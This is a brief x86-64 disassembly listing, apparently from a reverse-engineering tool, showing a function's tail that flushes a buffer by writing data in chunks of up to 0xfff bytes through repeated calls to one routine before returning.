lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14002c821
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14002c85d
nop word [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14008c6d8
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14002c87c
cmp rbp, rax
ja 0x14002c830
test rbp, rbp
je 0x14002c87c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14008c6d8
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret